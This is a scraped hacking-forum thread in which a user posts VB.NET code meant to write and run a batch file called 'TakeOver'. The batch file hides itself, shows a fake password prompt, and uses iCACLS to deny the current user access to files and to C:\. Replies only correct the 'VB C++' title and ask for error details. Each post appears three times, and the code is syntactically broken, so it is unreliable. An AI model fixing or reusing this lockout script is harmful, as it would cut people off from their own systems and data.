![]() |
|
Getting VB C++ to write a batch file - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework) +--- Thread: Getting VB C++ to write a batch file (/Thread-Getting-VB-C-to-write-a-batch-file) |
Getting VB C++ to write a batch file - fumsent - 10-23-2013 Okay i am trying to get VB C++ to write a batch file... but I came into errors here the script (epic fail) Module Module1 Sub Main() Dim objFSO, objFile, objWShell objFSO = CreateObject("Scripting.FileSystemObject") objFile = objFSO.CreateTextFile("Test.bat", 2, False) objWShell = CreateObject("WScript.Shell") objFile.Write("@echo on title TakeOver /max : a() attrib +h "%userprofile%\my documents\d.bat" >null echo enter password to Login set/p "pass=>" if not %pass%==400670 goto:b :b echo %username% iCACLS files %username%:N echo you have entered the wrong password goto:a if %pass%==400670 goto:f : f() echo type start to begin and End to shutdown set/p "QUESTION=>" IF %QUESTION%==start goto :Start Explorer.exe : b() echo %username% iCACLS files /deny %username%:r C:\) objFile = Nothing objWShell.Run("Test.bat") wscript.quit() End Sub End Module Getting VB C++ to write a batch file - fumsent - 10-23-2013 Okay i am trying to get VB C++ to write a batch file... but I came into errors here the script (epic fail) Module Module1 Sub Main() Dim objFSO, objFile, objWShell objFSO = CreateObject("Scripting.FileSystemObject") objFile = objFSO.CreateTextFile("Test.bat", 2, False) objWShell = CreateObject("WScript.Shell") objFile.Write("@echo on title TakeOver /max : a() attrib +h "%userprofile%\my documents\d.bat" >null echo enter password to Login set/p "pass=>" if not %pass%==400670 goto:b :b echo %username% iCACLS files %username%:N echo you have entered the wrong password goto:a if %pass%==400670 goto:f : f() echo type start to begin and End to shutdown set/p "QUESTION=>" IF %QUESTION%==start goto :Start Explorer.exe : b() echo %username% iCACLS files /deny %username%:r C:\) objFile = Nothing objWShell.Run("Test.bat") wscript.quit() End Sub End Module Getting VB C++ to write a batch file - fumsent - 10-23-2013 Okay i am trying to get VB C++ to write a batch file... but I came into errors here the script (epic fail) Module Module1 Sub Main() Dim objFSO, objFile, objWShell objFSO = CreateObject("Scripting.FileSystemObject") objFile = objFSO.CreateTextFile("Test.bat", 2, False) objWShell = CreateObject("WScript.Shell") objFile.Write("@echo on title TakeOver /max : a() attrib +h "%userprofile%\my documents\d.bat" >null echo enter password to Login set/p "pass=>" if not %pass%==400670 goto:b :b echo %username% iCACLS files %username%:N echo you have entered the wrong password goto:a if %pass%==400670 goto:f : f() echo type start to begin and End to shutdown set/p "QUESTION=>" IF %QUESTION%==start goto :Start Explorer.exe : b() echo %username% iCACLS files /deny %username%:r C:\) objFile = Nothing objWShell.Run("Test.bat") wscript.quit() End Sub End Module RE: Getting VB C++ to write a batch file - Slarek - 10-23-2013 So you want make a program in C++ which writes a batch program? RE: Getting VB C++ to write a batch file - Slarek - 10-23-2013 So you want make a program in C++ which writes a batch program? RE: Getting VB C++ to write a batch file - Slarek - 10-23-2013 So you want make a program in C++ which writes a batch program? RE: Getting VB C++ to write a batch file - Deque - 10-23-2013 Please read this: http://www.hackcommunity.com/Thread-Tutorial-How-To-Ask-Questions Use code tags, write specifically what error you get (message and for which line) or what your program does wrong. What is VB C++ supposed to be? Your sample code is Visual Basic (I don't know if VB 6 or VB.NET), there is no C++ at all. Correct your title. -thread moved- RE: Getting VB C++ to write a batch file - Deque - 10-23-2013 Please read this: http://www.hackcommunity.com/Thread-Tutorial-How-To-Ask-Questions Use code tags, write specifically what error you get (message and for which line) or what your program does wrong. What is VB C++ supposed to be? Your sample code is Visual Basic (I don't know if VB 6 or VB.NET), there is no C++ at all. Correct your title. -thread moved- RE: Getting VB C++ to write a batch file - Deque - 10-23-2013 Please read this: http://www.hackcommunity.com/Thread-Tutorial-How-To-Ask-Questions Use code tags, write specifically what error you get (message and for which line) or what your program does wrong. What is VB C++ supposed to be? Your sample code is Visual Basic (I don't know if VB 6 or VB.NET), there is no C++ at all. Correct your title. -thread moved- RE: Getting VB C++ to write a batch file - ArkPhaze - 10-24-2013 As mentioned, there's no such thing as VB C++, there is VisualC++, but it's still lame. This is VB.net though, there's no C++ here period. Why would you even want to take a language like VB.net and use it to write a batch script though? That's like taking an engine out of a viper to put it in your honda civic... |